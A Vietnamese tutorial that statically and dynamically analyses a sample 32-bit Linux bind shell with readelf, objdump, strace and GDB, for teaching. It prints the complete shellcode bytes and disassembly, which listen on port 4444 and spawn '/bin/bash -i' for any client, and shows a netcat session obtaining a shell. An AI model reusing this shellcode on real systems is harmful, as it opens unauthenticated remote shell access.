Skip to main content

Command Palette

Search for a command to run...

Binary 105: Bind Shell Analysis

Thực hành phân tích một Bind Shell cơ bản trên Linux.

Updated
23 min read

Bài này thực hành phân tích một Bind Shell đơn giản. Lưu ý là Bind Shell được viết trực tiếp bằng Assembly, các lời gọi hàm đều thông qua System Calls nên cần chú ý đến Calling Convention vì nó không giống như các CC của các Trình biên dịch: stdcall, fastcall, cdecl,.. Giả định tình huống chúng ta nhận được cảnh báo xuất hiện một tệp lạ trên hệ thống.

1. Tìm kiếm và thu thập mẫu

Bước đầu cần xác định được vị trí của tệp độc hại. Sử dụng updatedb/locate. Tham số -w -i sẽ tìm kiếm mà không phân biệt chữ hoa, thường.

$ sudo updatedb
$ sudo locate -i -w ch06-bindshell32
/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/32bit/ch06-bindshell32
/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/src/ch06-bindshell32.nasm
/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/src/ch06-bindshell32.o

Sử dụng find để xác định lại chính xác vị trí tệp:

$ sudo find -name ch06-bindshell32
./bac/Binary-Analysis-Cookbook/Chapter-06/32bit/ch06-bindshell32

2. Trích xuất thông tin mẫu

Cần thu thập càng nhiều thông tin hữu ích nhất về tệp càng tốt, các thông tin được sắp xếp một cách khoa học, dễ hiểu. Sử dụng các công cụ đã đề cập như: file, strings, objdump, readelf, hexdump,..

Sử dụng file:

$ file ch06-bindshell32
ch06-bindshell32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

Giải thích:

  • ELF 32-bit LSB executable: Tệp thực thi được biên dịch cho máy 32-bits, Little-Endian

  • Intel 80386: Kiến trúc VXL

  • statically linked: Linux thường là static

  • not stripped: Không xóa Debug Symbol và các thông tin khác

Trích xuất các chuỗi bằng strings:

$ strings ch06-bindshell32
Phbashh////h/bin
Pfh-i
ch06-bindshell32.nasm
jump_short
call_bind
listener
accept_connect
change_fd
shell_exec
portconfig
portnum
__bss_start
_edata
_end
.symtab
.strtab
.shstrtab
.text

Một số chuỗi cần quan tâm:

  • Chuỗi: "Phbashh////h/bin" ⇒ Gợi nhớ đến chuỗi: "bin""bash"

  • Chuỗi: "ch06-bindshell32.nasm" ⇒ Có thể là file chương trình ban đầu khi biên dịch

  • Các chuỗi: "jump_short, call_bind, listener, accept_connect, change_fd, shell_exec, portconfig, portnum" ⇒ Các lable trong Assembly, nó như các khối mã

  • Các chuỗi: ".symtab, .strtab, .shstrtab, .text" ⇒ Các section của tệp ELF

Sử dụng readelf để Trích xuất cấu trúc ELF:

$ readelf -a -W ch06-bindshell32
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048060
  Start of program headers:          52 (bytes into file)
  Start of section headers:          660 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         1
  Size of section headers:           40 (bytes)
  Number of section headers:         5
  Section header string table index: 2

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .text             PROGBITS        08048060 000060 00009a 00  AX  0   0 16
  [ 2] .shstrtab         STRTAB          00000000 000270 000021 00      0   0  1
  [ 3] .symtab           SYMTAB          00000000 0000fc 0000f0 10      4  11  4
  [ 4] .strtab           STRTAB          00000000 0001ec 000084 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

There are no section groups in this file.

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x08048000 0x08048000 0x000fa 0x000fa R E 0x1000

 Section to Segment mapping:
  Segment Sections...
   00     .text

There is no dynamic section in this file.

There are no relocations in this file.

The decoding of unwind sections for machine type Intel 80386 is not currently supported.

Symbol table '.symtab' contains 15 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 08048060     0 SECTION LOCAL  DEFAULT    1
     2: 00000000     0 FILE    LOCAL  DEFAULT  ABS ch06-bindshell32.nasm
     3: 08048076     0 NOTYPE  LOCAL  DEFAULT    1 jump_short
     4: 08048078     0 NOTYPE  LOCAL  DEFAULT    1 call_bind
     5: 08048099     0 NOTYPE  LOCAL  DEFAULT    1 listener
     6: 080480aa     0 NOTYPE  LOCAL  DEFAULT    1 accept_connect
     7: 080480b9     0 NOTYPE  LOCAL  DEFAULT    1 change_fd
     8: 080480cd     0 NOTYPE  LOCAL  DEFAULT    1 shell_exec
     9: 080480f3     0 NOTYPE  LOCAL  DEFAULT    1 portconfig
    10: 080480f8     0 NOTYPE  LOCAL  DEFAULT    1 portnum
    11: 08048060     0 NOTYPE  GLOBAL DEFAULT    1 _start
    12: 080490fa     0 NOTYPE  GLOBAL DEFAULT    1 __bss_start
    13: 080490fa     0 NOTYPE  GLOBAL DEFAULT    1 _edata
    14: 080490fc     0 NOTYPE  GLOBAL DEFAULT    1 _end

No version information found in this file.

Kết quả từ readelf cho thấy chương trình có rất ít thông tin, rất tối giản, không có nhiều Section. Đây là đặc điểm dễ nhận thấy của các chương trình viết bằng Assembly

Sử dụng objdump để trích xuất cấu trúc ELF:

$ objdump -x -s ch06-bindshell32

ch06-bindshell32:     file format elf32-i386
ch06-bindshell32
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08048060

Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x000000fa memsz 0x000000fa flags r-x

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .text         0000009a  08048060  08048060  00000060  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
SYMBOL TABLE:
08048060 l    d  .text  00000000 .text
00000000 l    df *ABS*  00000000 ch06-bindshell32.nasm
08048076 l       .text  00000000 jump_short
08048078 l       .text  00000000 call_bind
08048099 l       .text  00000000 listener
080480aa l       .text  00000000 accept_connect
080480b9 l       .text  00000000 change_fd
080480cd l       .text  00000000 shell_exec
080480f3 l       .text  00000000 portconfig
080480f8 l       .text  00000000 portnum
08048060 g       .text  00000000 _start
080490fa g       .text  00000000 __bss_start
080490fa g       .text  00000000 _edata
080490fc g       .text  00000000 _end

Contents of section .text:
 8048060 31c031db 31c96a06 6a016a02 b066b301  1.1.1.j.j.j..f..
 8048070 89e1cd80 89c7eb7b 5e31c031 db31c931  .......{^1.1.1.1
 8048080 d25066ff 36b00266 5089e26a 10525731  .Pf.6..fP..j.RW1
 8048090 c0b066b3 0289e1cd 8031c031 db31c96a  ..f......1.1.1.j
 80480a0 0157b066 b30489e1 cd8031c0 31db5053  .W.f......1.1.PS
 80480b0 57b066b3 0589e1cd 8089c331 c931c0b0  W.f........1.1..
 80480c0 3fcd80b0 3f41cd80 b03f41cd 8031c050  ?...?A...?A..1.P
 80480d0 68626173 68682f2f 2f2f682f 62696e89  hbashh////h/bin.
 80480e0 e3506668 2d6989e6 50565389 e131d2b0  .Pfh-i..PVS..1..
 80480f0 0bcd80e8 80ffffff 115c               .........\

Sử dụng hexdump để view tệp dạng hex và các ký tự thấy được:

$ hexdump -C -v ch06-bindshell32
00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  60 80 04 08 34 00 00 00  |........`...4...|
00000020  94 02 00 00 00 00 00 00  34 00 20 00 01 00 28 00  |........4. ...(.|
00000030  05 00 02 00 01 00 00 00  00 00 00 00 00 80 04 08  |................|
00000040  00 80 04 08 fa 00 00 00  fa 00 00 00 05 00 00 00  |................|
00000050  00 10 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000060  31 c0 31 db 31 c9 6a 06  6a 01 6a 02 b0 66 b3 01  |1.1.1.j.j.j..f..|
00000070  89 e1 cd 80 89 c7 eb 7b  5e 31 c0 31 db 31 c9 31  |.......{^1.1.1.1|
00000080  d2 50 66 ff 36 b0 02 66  50 89 e2 6a 10 52 57 31  |.Pf.6..fP..j.RW1|
00000090  c0 b0 66 b3 02 89 e1 cd  80 31 c0 31 db 31 c9 6a  |..f......1.1.1.j|
000000a0  01 57 b0 66 b3 04 89 e1  cd 80 31 c0 31 db 50 53  |.W.f......1.1.PS|
000000b0  57 b0 66 b3 05 89 e1 cd  80 89 c3 31 c9 31 c0 b0  |W.f........1.1..|
000000c0  3f cd 80 b0 3f 41 cd 80  b0 3f 41 cd 80 31 c0 50  |?...?A...?A..1.P|
000000d0  68 62 61 73 68 68 2f 2f  2f 2f 68 2f 62 69 6e 89  |hbashh////h/bin.|
000000e0  e3 50 66 68 2d 69 89 e6  50 56 53 89 e1 31 d2 b0  |.Pfh-i..PVS..1..|
000000f0  0b cd 80 e8 80 ff ff ff  11 5c 00 00 00 00 00 00  |.........\......|
00000100  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000110  60 80 04 08 00 00 00 00  03 00 01 00 01 00 00 00  |`...............|
00000120  00 00 00 00 00 00 00 00  04 00 f1 ff 17 00 00 00  |................|
00000130  76 80 04 08 00 00 00 00  00 00 01 00 22 00 00 00  |v..........."...|
00000140  78 80 04 08 00 00 00 00  00 00 01 00 2c 00 00 00  |x...........,...|
00000150  99 80 04 08 00 00 00 00  00 00 01 00 35 00 00 00  |............5...|
00000160  aa 80 04 08 00 00 00 00  00 00 01 00 44 00 00 00  |............D...|
00000170  b9 80 04 08 00 00 00 00  00 00 01 00 4e 00 00 00  |............N...|
00000180  cd 80 04 08 00 00 00 00  00 00 01 00 59 00 00 00  |............Y...|
00000190  f3 80 04 08 00 00 00 00  00 00 01 00 64 00 00 00  |............d...|
000001a0  f8 80 04 08 00 00 00 00  00 00 01 00 71 00 00 00  |............q...|
000001b0  60 80 04 08 00 00 00 00  10 00 01 00 6c 00 00 00  |`...........l...|
000001c0  fa 90 04 08 00 00 00 00  10 00 01 00 78 00 00 00  |............x...|
000001d0  fa 90 04 08 00 00 00 00  10 00 01 00 7f 00 00 00  |................|
000001e0  fc 90 04 08 00 00 00 00  10 00 01 00 00 63 68 30  |.............ch0|
000001f0  36 2d 62 69 6e 64 73 68  65 6c 6c 33 32 2e 6e 61  |6-bindshell32.na|
00000200  73 6d 00 6a 75 6d 70 5f  73 68 6f 72 74 00 63 61  |sm.jump_short.ca|
00000210  6c 6c 5f 62 69 6e 64 00  6c 69 73 74 65 6e 65 72  |ll_bind.listener|
00000220  00 61 63 63 65 70 74 5f  63 6f 6e 6e 65 63 74 00  |.accept_connect.|
00000230  63 68 61 6e 67 65 5f 66  64 00 73 68 65 6c 6c 5f  |change_fd.shell_|
00000240  65 78 65 63 00 70 6f 72  74 63 6f 6e 66 69 67 00  |exec.portconfig.|
00000250  70 6f 72 74 6e 75 6d 00  5f 5f 62 73 73 5f 73 74  |portnum.__bss_st|
00000260  61 72 74 00 5f 65 64 61  74 61 00 5f 65 6e 64 00  |art._edata._end.|
00000270  00 2e 73 79 6d 74 61 62  00 2e 73 74 72 74 61 62  |..symtab..strtab|
00000280  00 2e 73 68 73 74 72 74  61 62 00 2e 74 65 78 74  |..shstrtab..text|
00000290  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000002a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000002b0  00 00 00 00 00 00 00 00  00 00 00 00 1b 00 00 00  |................|
000002c0  01 00 00 00 06 00 00 00  60 80 04 08 60 00 00 00  |........`...`...|
000002d0  9a 00 00 00 00 00 00 00  00 00 00 00 10 00 00 00  |................|
000002e0  00 00 00 00 11 00 00 00  03 00 00 00 00 00 00 00  |................|
000002f0  00 00 00 00 70 02 00 00  21 00 00 00 00 00 00 00  |....p...!.......|
00000300  00 00 00 00 01 00 00 00  00 00 00 00 01 00 00 00  |................|
00000310  02 00 00 00 00 00 00 00  00 00 00 00 fc 00 00 00  |................|
00000320  f0 00 00 00 04 00 00 00  0b 00 00 00 04 00 00 00  |................|
00000330  10 00 00 00 09 00 00 00  03 00 00 00 00 00 00 00  |................|
00000340  00 00 00 00 ec 01 00 00  84 00 00 00 00 00 00 00  |................|
00000350  00 00 00 00 01 00 00 00  00 00 00 00              |............|

Đầu ra của Hexdump cũng cho thấy các Strings của chương trình

3. Phân tích tĩnh

Đây là bước quan trọng trong quá trình phân tích để hiểu được chương trình có những chức năng gì, hoạt động gì tác động lên hệ thống. Đây là phương pháp phân tích an toàn vì nó không đòi hỏi phải thực thi chương trình. Phần này sẽ áp dụng những kiến thức của trước: System call number, Ngắt và Man Page trong bài trước để tiến hành phân tích.

  • Sử dụng objdump để disassembly BindShell theo cú pháp Intel:

    $ objdump -l -D -M intel ch06-bindshell32
    
    ch06-bindshell32:     file format elf32-i386
    
    Disassembly of section .text:
    
    08048060 <_start>:
    _start():
     8048060:       31 c0                   xor    eax,eax
     8048062:       31 db                   xor    ebx,ebx
     8048064:       31 c9                   xor    ecx,ecx
     8048066:       6a 06                   push   0x6
     8048068:       6a 01                   push   0x1
     804806a:       6a 02                   push   0x2
     804806c:       b0 66                   mov    al,0x66
     804806e:       b3 01                   mov    bl,0x1
     8048070:       89 e1                   mov    ecx,esp
     8048072:       cd 80                   int    0x80
     8048074:       89 c7                   mov    edi,eax
    
    08048076 <jump_short>:
    jump_short():
     8048076:       eb 7b                   jmp    80480f3 <portconfig>
    
    08048078 <call_bind>:
    call_bind():
     8048078:       5e                      pop    esi
     8048079:       31 c0                   xor    eax,eax
     804807b:       31 db                   xor    ebx,ebx
     804807d:       31 c9                   xor    ecx,ecx
     804807f:       31 d2                   xor    edx,edx
     8048081:       50                      push   eax
     8048082:       66 ff 36                push   WORD PTR [esi]
     8048085:       b0 02                   mov    al,0x2
     8048087:       66 50                   push   ax
     8048089:       89 e2                   mov    edx,esp
     804808b:       6a 10                   push   0x10
     804808d:       52                      push   edx
     804808e:       57                      push   edi
     804808f:       31 c0                   xor    eax,eax
     8048091:       b0 66                   mov    al,0x66
     8048093:       b3 02                   mov    bl,0x2
     8048095:       89 e1                   mov    ecx,esp
     8048097:       cd 80                   int    0x80
    
    08048099 <listener>:
    listener():
     8048099:       31 c0                   xor    eax,eax
     804809b:       31 db                   xor    ebx,ebx
     804809d:       31 c9                   xor    ecx,ecx
     804809f:       6a 01                   push   0x1
     80480a1:       57                      push   edi
     80480a2:       b0 66                   mov    al,0x66
     80480a4:       b3 04                   mov    bl,0x4
     80480a6:       89 e1                   mov    ecx,esp
     80480a8:       cd 80                   int    0x80
    
    080480aa <accept_connect>:
    accept_connect():
     80480aa:       31 c0                   xor    eax,eax
     80480ac:       31 db                   xor    ebx,ebx
     80480ae:       50                      push   eax
     80480af:       53                      push   ebx
     80480b0:       57                      push   edi
     80480b1:       b0 66                   mov    al,0x66
     80480b3:       b3 05                   mov    bl,0x5
     80480b5:       89 e1                   mov    ecx,esp
     80480b7:       cd 80                   int    0x80
    
    080480b9 <change_fd>:
    change_fd():
     80480b9:       89 c3                   mov    ebx,eax
     80480bb:       31 c9                   xor    ecx,ecx
     80480bd:       31 c0                   xor    eax,eax
     80480bf:       b0 3f                   mov    al,0x3f
     80480c1:       cd 80                   int    0x80
     80480c3:       b0 3f                   mov    al,0x3f
     80480c5:       41                      inc    ecx
     80480c6:       cd 80                   int    0x80
     80480c8:       b0 3f                   mov    al,0x3f
     80480ca:       41                      inc    ecx
     80480cb:       cd 80                   int    0x80
    
    080480cd <shell_exec>:
    shell_exec():
     80480cd:       31 c0                   xor    eax,eax
     80480cf:       50                      push   eax
     80480d0:       68 62 61 73 68          push   0x68736162
     80480d5:       68 2f 2f 2f 2f          push   0x2f2f2f2f
     80480da:       68 2f 62 69 6e          push   0x6e69622f
     80480df:       89 e3                   mov    ebx,esp
     80480e1:       50                      push   eax
     80480e2:       66 68 2d 69             pushw  0x692d
     80480e6:       89 e6                   mov    esi,esp
     80480e8:       50                      push   eax
     80480e9:       56                      push   esi
     80480ea:       53                      push   ebx
     80480eb:       89 e1                   mov    ecx,esp
     80480ed:       31 d2                   xor    edx,edx
     80480ef:       b0 0b                   mov    al,0xb
     80480f1:       cd 80                   int    0x80
    
    080480f3 <portconfig>:
    portconfig():
     80480f3:       e8 80 ff ff ff          call   8048078 <call_bind>
    
    080480f8 <portnum>:
    portnum():
     80480f8:       11                      .byte 0x11
     80480f9:       5c                      pop    esp
    

Giải thích:

  • Khối: 08048060 <_start>

    • 3 lệnh đầu: Khởi tạo giá trị 0 cho các thanh ghi EAX, EBX, ECX

    • 3 lệnh tiếp sau: Lần lượt đẩy các giá trị 0x6, 0x1, 0x2 lên Stack. Trạng thái Stack lúc này sẽ lần lượt chứa các giá trị sau: 0x2, 0x1, 0x6 (Do cơ chế LIFO).

    • Tại 804806c: AL = 0x66System call number. Kiểm tra trong: "/usr/include/i386-linux-gnu/asm/unistd_32.h"#define __NR_socketcall 102int socketcall(int call, unsigned long *args);

    • Tại 804806e: BL = 0x1 ⇒ Tham số thứ 1 truyền vào hàm socketcall ⇒ Kiểm tra trong: "/usr/include/linux/net.h"#define SYS_SOCKET 1 /* sys_socket(2) */

    • Tại 8048070: ECX trỏ vào đỉnh Stack. Đây là 3 tham số sẽ được truyền vào hàm: int socket(int domain, int type, int protocol); Với: domain=2=PF_INET ⇒ Sử dụng socket với địa chỉ ip và port number để kết nối, type=SOCK_STREAM, protocol=IPPROTO_TCP ⇒ Sử dụng kiểu kết nối tin cậy - TCP (Kiểm tra trong: "/etc/protocols").

    • Tại 8048072: Gọi ngắt thực hiện System call

    • Tại 8048074: Lưu kết quả vào EDI.

    • Tóm lại khối này trông sẽ tương tự như sau: sockfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)

  • Khối: 08048076 <jump_short>

    • Thực hiện nhảy không điều kiện đến khối: 80480f3 <portconfig>
  • Khối: 08048078 <call_bind>

    • Tại 8048078: ESI = Port number = 4444

    • Tại 8048079 đến 804807f: Khởi tạo giá trị 0 cho các thanh ghi: EAX, EBX, ECX, EDX

    • Tại 8048081: Đưa 0 lên Stack

    • Tại 8048082: Đưa địa chỉ trỏ đến ESI/Port number lên Stack.

    • Tại 8048085: AL=0x2. Tại 8048087: Đưa 0x2 lên Stack

    • Tại 8048089: EDX trỏ vào đỉnh Stack, trạng thái Stack lúc này: 0x10, 0x02, 115C, 0x00

    • Từ 804808b đến 804808e: Lần lựa đẩy các giá trị 0x10, EDX, EDI lên Stack. Trạng thái Stack lúc này: [sock_fd](địa chỉ đỉnh stack trước khi push 0x10), 0x10, 0x02, 115c, 0x00

    • Tại 804808f: Reset EAX = 0. Tại 8048091: AL=0x66 ⇒ System call number ⇒ #define __NR_socketcall 102

    • Tại 8048093: BL=0x2 ⇒ Tham số thứ 1 của socketcall ⇒ Tra cứu trong: "/usr/include/linux/net.h"#define SYS_BIND 2 /* sys_bind(2) */int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

    • Tại 8048095: ECX trỏ đến Stack ⇒ Tham số thứ 2 của socketcall

    • Tại 8048097: Gọi ngắt thực hiện System call

    • Một loạt các kỹ thuật phức tạp được thực hiện, mục đích cuối cùng là thiết lập các đối số trên ngăn xếp đúng cách cho hàm bind. Tóm lại khối này trông tương tự như sau: bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16). Hay ngắn gọn hơn thì là: bind(sockfd, AF_INET, 4444, 0.0.0.0.0);

  • Khối: 08048099

    • Từ 8048099 đến 804809d: Khởi tạo giá trị 0 cho các thanh ghi: EAX, EBX, ECX

    • Tại 804809f và 80480a1: Sau khi thực hiện, trạng thái Stack là: sockfd, 0x1

    • Tại 80480a2: AL=0x66 ⇒ System call number ⇒ #define __NR_socketcall 102

    • Tại 80480a4: BL=0x4 ⇒ Tham số thứ 2 cho hàm socketcall ⇒ Tra cứu trong "/usr/include/linux/net.h" ⇒ ta được: #define SYS_LISTEN 4 /* sys_listen(2) */int listen(int sockfd, int backlog);

    • Tại 80480a6: ECX trỏ vào đỉnh Stack.

    • Tại 80480a8: Gọi ngắt thực hiện System call

    • Tóm lại khối này thực hiện lắng nghe các kết nối đến thông qua hàm listen(3, 1);

  • Khối: 080480aa <accept_connect>

    • Tại 80480aa và 80480ac: EAX = EBX = 0

    • Tại 80480ae đến 80480b0: Trạng thái Stack: sockfd, 0x00, 0x00

    • Các bước sau đó thực hiện tương tự như cách trình đã trình bày bên trên. Khối code này thực hiện gọi hàm: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags); với tham số thứ 2 và 3 bằng NULL. Viết ngắn gọn: accept(3, NULL, NULL)

  • Khối: 080480b9 <change_fd>

    • Khối này liên tục thực hiện 3 ngắt tương đương 3 lần System call.

    • Các System call lần lượt được gọi là: dup2(4, 0), dup2(4, 1), dup2(4, 2)

    • Mục đích: Chuyển hướng các Accept File Descriptor về 3 dạng: STDIN, STDOUT, STDERR.

  • Khối: 080480cd <shell_exec>

    • Tại 80480cd và 80480cf: Reset EAX và Push lên Stack

    • Tại 80480d0 đến 80480da: Push các hex data lên Stack. Tiến hành decode các data này như sau:

      $ python
      >>> a = '68736162'.decode('hex')
      >>> b = '2f2f2f2f'.decode('hex')
      >>> c = '6e69622f'.decode('hex')
      >>> final = a + b + c
      >>> final[::-1]
      '/bin////bash'
      
    • Tại 80480e2: decode tương tự:

      $ python
      >>> '692d'.decode('hex')[::-1]
      '-i'
      
    • Tại 80480df: EBX trỏ đến chuỗi: "/bin////bash -i".

    • Tại 80480ef: AL=0xb ⇒ System call number ⇒ #define __NR_execve 11int execve(const char *filename, char *const argv[], char *const envp[]);

    • Tóm lại khối này thực hiện hàm execve nhằm mục đích gọi bash shell hệ thống

  • Khối: 080480f3

    • Gọi đến khối: 8048078 <call_bind>

    • Một điểm quan trọng cần lưu ý là khi thực hiện lệnh CALL thì địa chỉ của lệnh kế tiếp được đưa lên Stack. Trường hợp này lệnh kế tiếp có mã opcode là: 0x115c đã bị objdump hiểu nhầm là mã lệnh, thực ra nó là data ⇒ Đây là Port 4444. Vậy địa chỉ của Port được đưa lên Stack. Đây là một nhược điểm của công cụ objdump.

  • Khối: 080480f8

    • Khối này thực chất không có mã lệnh nào cả, objdump đã nhận diện nhầm opcode 0x115c thành mã lệnh, chính xác nó là dữ liệu, port number 4444.

4. Phân tích động với Ltrace/Strace

Phân tích động đem lại nhiều lợi thế so với phân tích tĩnh như: nhanh chóng có kết quả, dễ dàng thực hiện,.. tuy nhiên cần có một môi trường phân tích lý tưởng. Do BindShell được viết bằng Assembly và thực hiện các System Call nên Ltrace sẽ không thể monitor được, chúng ta sẽ sử dụng Strace.

Do Strace monitor các API cấp thấp sẽ dẫn đến việc có rất nhiều các api được gọi chồng chéo nhau dẫn đến kết quả đầu ra rất khó đọc, tôi sẽ sử dụng tham số -e để lọc các api quan trọng:

$ strace -itx -e trace=process,network ./ch06-bindshell32
17:00:09 [b7fa5cf5] execve("./ch06-bindshell32", ["./ch06-bindshell32"], [/* 22 vars */]) = 0
17:00:09 [08048074] socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
17:00:09 [08048099] bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
17:00:09 [080480aa] listen(3, 1)        = 0
17:00:09 [080480b9] accept(3,

Lúc này BindShell đã chạy và đang lắng nghe kết nối trên Port 4444. Để kiểm tra:

$ sudo netstat -plant | grep -i '4444'
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      6397/ch06-bindshell

Trên một Terminal khác, sử dụng netcat để kiểm tra bằng cách kết nối đến như sau:

$ nc -nv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

osboxes@bac32:/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/32bit$

Quan sát lại logs của Strace:

$ strace -itx -e trace=process,network ./ch06-bindshell32
17:00:09 [b7fa5cf5] execve("./ch06-bindshell32", ["./ch06-bindshell32"], [/* 22 vars */]) = 0
17:00:09 [08048074] socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
17:00:09 [08048099] bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
17:00:09 [080480aa] listen(3, 1)        = 0
17:00:09 [080480b9] accept(3, NULL, NULL) = 4
17:00:19 [080480f3] execve("/bin////bash", ["/bin////bash", "-i"], NULL) = 0
17:00:19 [b7f8ecf5] socket(PF_LOCAL, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5
17:00:19 [b7f8ecf5] connect(5, {sa_family=AF_LOCAL, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
...
17:00:31 [b7f8ecf5] exit_group(0)       = ?
17:00:31 [????????] +++ exited with 0 +++

Trình netcat như một ứng dụng client kết nối đến Server, khi kết nối thành công, server gọi bash shell, client get được shell trên server.

5. Phân tích động với GDB/EDB

Sử dụng GDB với PEDA Plugin để phân tích trình BindShell. Thực hiện như sau:

$ gdb ch06-bindshell32
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ch06-bindshell32...(no debugging symbols found)...done.
gdb-peda$ start
...
gdb-peda$ next

Thực hiện next cho đến: 0x8048072 <_start+18>: int 0x80. Đây là điểm System Call đầu tiên được gọi. Kết quả ta được như sau:

Giải thích:

  • Quan sát trạng thái Stack lúc này: 0x2, 0x1, 0x6

  • Điều này tương đương với: socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)

Tiếp tục next cho đến: 0x80480f3 <portconfig>: call 0x8048078 <call_bind>. Thực hiên next thêm một lần, khi đó ta dừng tại: 0x8048078 <call_bind>: pop esi. Kiểm tra Stack, lúc này Port number đã được đẩy lên:

Giải thích:

  • Sử dụng lệnh: x/wx $esp ta biết được đỉnh Stack lúc này đang lưu một địa chỉ: 0x080480f8

  • Kiểm tra giá trị tại địa chỉ này, ta được: 0x00005c11

  • Ta chuyển đổi giá trị này theo quy ước Little-Endian được giá trị Port: 4444

Tại: 0x8048097 <call_bind+31>: int 0x80. Gọi bind(sockfd, AF_INET, 4444, 0.0.0.0.0);

Tại: 0x80480a8 <listener+15>: int 0x80. Gọi listen(sockfd, backlog);

Tại: 0x80480b7 <accept_connect+13>: int 0x80. Gọi accept(sockfd, NULL, NULL)

Tiếp theo ta cần tập chung nhiều hơn vào khối shell_exec. Tiến hành disassembly khối này:

gdb-peda$ pdisass shell_exec
Dump of assembler code for function shell_exec:
   0x080480cd <+0>:     xor    eax,eax
   0x080480cf <+2>:     push   eax
   0x080480d0 <+3>:     push   0x68736162
   0x080480d5 <+8>:     push   0x2f2f2f2f
   0x080480da <+13>:    push   0x6e69622f
   0x080480df <+18>:    mov    ebx,esp
   0x080480e1 <+20>:    push   eax
   0x080480e2 <+21>:    pushw  0x692d
   0x080480e6 <+25>:    mov    esi,esp
   0x080480e8 <+27>:    push   eax
   0x080480e9 <+28>:    push   esi
   0x080480ea <+29>:    push   ebx
   0x080480eb <+30>:    mov    ecx,esp
   0x080480ed <+32>:    xor    edx,edx
   0x080480ef <+34>:    mov    al,0xb
   **0x080480f1 <+36>:    int    0x80**
End of assembler dump.

Đặt một Breakpoint tại shell_exec. Tại khối này sẽ diễn ra System Call, Sau đó nhập lệnh continue hoặc c:

gdb-peda$ br * shell_exec
Breakpoint 2 at 0x80480cd
gdb-peda$ info breakpoints
Num     Type           Disp Enb Address    What
2       breakpoint     keep y   0x080480cd <shell_exec>
gdb-peda$ c
Continuing.

Lúc này chương trình rơi vào trạng thái lắng nghe các kết nối.:

$ sudo netstat -plant | grep 4444
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      3775/ch06-bindshell

Tại một Terminal khác hay trên một máy từ xa, sử dụng nc như một trình client để kết nối đến BindShell:

$ nc -nv 192.168.128.8 4444
Connection to 192.168.128.8 4444 port [tcp/*] succeeded!

Trong GDB, chúng ta đã dừng lại được tại khối shell_exec:

Tiếp tục thực thi cho đến: 0x80480f1 <shell_exec+36>: int 0x80, quan sát trạng thái Stack trước khi thực hiện System Call: Chuỗi: "/bin////bash"'-i' đã được đưa lên Stack, đồng thời các thanh ghi EBX và ECX đang trỏ đến các chuỗi này, đây là các tham số cho hàm execve.

Như vậy bài này đã đi phân tích một BindShell cơ bản bằng cả phương pháp phân tích động và phân tích tĩnh. Plugin PEDA trên GDB giúp chúng ta phân tích nhanh hơn, trực quan hơn rất nhiều so với việc sử dụng GDB ở TUI Mode.